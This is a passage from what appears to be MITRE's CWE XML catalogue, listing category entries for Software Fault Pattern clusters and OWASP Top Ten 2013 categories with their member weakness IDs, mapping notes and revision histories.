            <Has_Member CWE_ID="340" View_ID="888"/>
            <Has_Member CWE_ID="341" View_ID="888"/>
            <Has_Member CWE_ID="342" View_ID="888"/>
            <Has_Member CWE_ID="343" View_ID="888"/>
            <Has_Member CWE_ID="344" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-03-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-07-31">SFP Cluster: Predictability</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="906" Name="SFP Primary Cluster: UI" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the UI cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="995" View_ID="888"/>
            <Has_Member CWE_ID="996" View_ID="888"/>
            <Has_Member CWE_ID="997" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-03-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-07-31">SFP Cluster: UI</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="907" Name="SFP Primary Cluster: Other" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Other cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="975" View_ID="888"/>
            <Has_Member CWE_ID="976" View_ID="888"/>
            <Has_Member CWE_ID="977" View_ID="888"/>
            <Has_Member CWE_ID="978" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-03-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-07-31">SFP Cluster: Other</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="929" Name="OWASP Top Ten 2013 Category A1 - Injection" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2013.</Summary>
         <Relationships>
            <Has_Member CWE_ID="74" View_ID="928"/>
            <Has_Member CWE_ID="77" View_ID="928"/>
            <Has_Member CWE_ID="78" View_ID="928"/>
            <Has_Member CWE_ID="88" View_ID="928"/>
            <Has_Member CWE_ID="89" View_ID="928"/>
            <Has_Member CWE_ID="90" View_ID="928"/>
            <Has_Member CWE_ID="91" View_ID="928"/>
            <Has_Member CWE_ID="643" View_ID="928"/>
            <Has_Member CWE_ID="652" View_ID="928"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-927"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-07-16</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="930" Name="OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2013.</Summary>
         <Relationships>
            <Has_Member CWE_ID="256" View_ID="928"/>
            <Has_Member CWE_ID="287" View_ID="928"/>
            <Has_Member CWE_ID="311" View_ID="928"/>
            <Has_Member CWE_ID="384" View_ID="928"/>
            <Has_Member CWE_ID="522" View_ID="928"/>
            <Has_Member CWE_ID="523" View_ID="928"/>
            <Has_Member CWE_ID="613" View_ID="928"/>
            <Has_Member CWE_ID="620" View_ID="928"/>
            <Has_Member CWE_ID="640" View_ID="928"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-929"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-07-17</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-01-24</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="931" Name="OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2013.</Summary>
         <Relationships>
            <Has_Member CWE_ID="79" View_ID="928"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-930"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-07-16</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="932" Name="OWASP Top Ten 2013 Category A4 - Insecure Direct Object References" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2013.</Summary>
         <Relationships>
            <Has_Member CWE_ID="22" View_ID="928"/>
            <Has_Member CWE_ID="99" View_ID="928"/>
            <Has_Member CWE_ID="639" View_ID="928"/>
            <Has_Member CWE_ID="706" View_ID="928"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-931"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-07-16</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="933" Name="OWASP Top Ten 2013 Category A5 - Security Misconfiguration" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2013.</Summary>
         <Relationships>
            <Has_Member CWE_ID="2" View_ID="928"/>
            <Has_Member CWE_ID="16" View_ID="928"/>
            <Has_Member CWE_ID="209" View_ID="928"/>
            <Has_Member CWE_ID="215" View_ID="928"/>
            <Has_Member CWE_ID="548" View_ID="928"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-932"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-07-16</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="934" Name="OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2013.</Summary>
         <Relationships>
            <Has_Member CWE_ID="311" View_ID="928"/>
            <Has_Member CWE_ID="312" View_ID="928"/>
            <Has_Member CWE_ID="319" View_ID="928"/>
            <Has_Member CWE_ID="320" View_ID="928"/>
            <Has_Member CWE_ID="325" View_ID="928"/>
            <Has_Member CWE_ID="326" View_ID="928"/>
            <Has_Member CWE_ID="327" View_ID="928"/>
            <Has_Member CWE_ID="328" View_ID="928"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-933"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-07-16</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="935" Name="OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2013.</Summary>
         <Relationships>
            <Has_Member CWE_ID="285" View_ID="928"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-934"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-07-16</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="936" Name="OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2013.</Summary>
         <Relationships>
            <Has_Member CWE_ID="352" View_ID="928"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-935"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-07-16</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="937" Name="OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2013.</Summary>
         <References>
            <Reference External_Reference_ID="REF-936"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Relationship">This is an unusual category. CWE does not cover the limitations of human processes and procedures that cannot be described in terms of a specific technical weakness as resident in the code, architecture, or configuration of the software. Since "known vulnerabilities" can arise from any kind of weakness, it is not possible to map this OWASP category to other CWE entries, since it would effectively require mapping this category to ALL weaknesses.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-07-16</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="938" Name="OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2013.</Summary>
         <Relationships>
            <Has_Member CWE_ID="601" View_ID="928"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-937"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-07-16</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="944" Name="SFP Secondary Cluster: Access Management" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Access Management cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="282" View_ID="888"/>
            <Has_Member CWE_ID="283" View_ID="888"/>
            <Has_Member CWE_ID="284" View_ID="888"/>
            <Has_Member CWE_ID="286" View_ID="888"/>
            <Has_Member CWE_ID="708" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="945" Name="SFP Secondary Cluster: Insecure Resource Access" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Insecure Resource Access cluster (SFP35).</Summary>
         <Relationships>
            <Has_Member CWE_ID="285" View_ID="888"/>
            <Has_Member CWE_ID="424" View_ID="888"/>
            <Has_Member CWE_ID="639" View_ID="888"/>
            <Has_Member CWE_ID="650" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="946" Name="SFP Secondary Cluster: Insecure Resource Permissions" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Insecure Resource Permissions cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="276" View_ID="888"/>
            <Has_Member CWE_ID="277" View_ID="888"/>
            <Has_Member CWE_ID="278" View_ID="888"/>
            <Has_Member CWE_ID="279" View_ID="888"/>
            <Has_Member CWE_ID="281" View_ID="888"/>
            <Has_Member CWE_ID="560" View_ID="888"/>
            <Has_Member CWE_ID="732" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="947" Name="SFP Secondary Cluster: Authentication Bypass" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Authentication Bypass cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="287" View_ID="888"/>
            <Has_Member CWE_ID="288" View_ID="888"/>
            <Has_Member CWE_ID="289" View_ID="888"/>
            <Has_Member CWE_ID="303" View_ID="888"/>
            <Has_Member CWE_ID="304" View_ID="888"/>
            <Has_Member CWE_ID="305" View_ID="888"/>
            <Has_Member CWE_ID="308" View_ID="888"/>
            <Has_Member CWE_ID="309" View_ID="888"/>
            <Has_Member CWE_ID="603" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="948" Name="SFP Secondary Cluster: Digital Certificate" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Digital Certificate cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="296" View_ID="888"/>
            <Has_Member CWE_ID="297" View_ID="888"/>
            <Has_Member CWE_ID="298" View_ID="888"/>
            <Has_Member CWE_ID="299" View_ID="888"/>
            <Has_Member CWE_ID="593" View_ID="888"/>
            <Has_Member CWE_ID="599" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="949" Name="SFP Secondary Cluster: Faulty Endpoint Authentication" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Faulty Endpoint Authentication cluster (SFP29).</Summary>
         <Relationships>
            <Has_Member CWE_ID="293" View_ID="888"/>
            <Has_Member CWE_ID="302" View_ID="888"/>
            <Has_Member CWE_ID="345" View_ID="888"/>
            <Has_Member CWE_ID="346" View_ID="888"/>
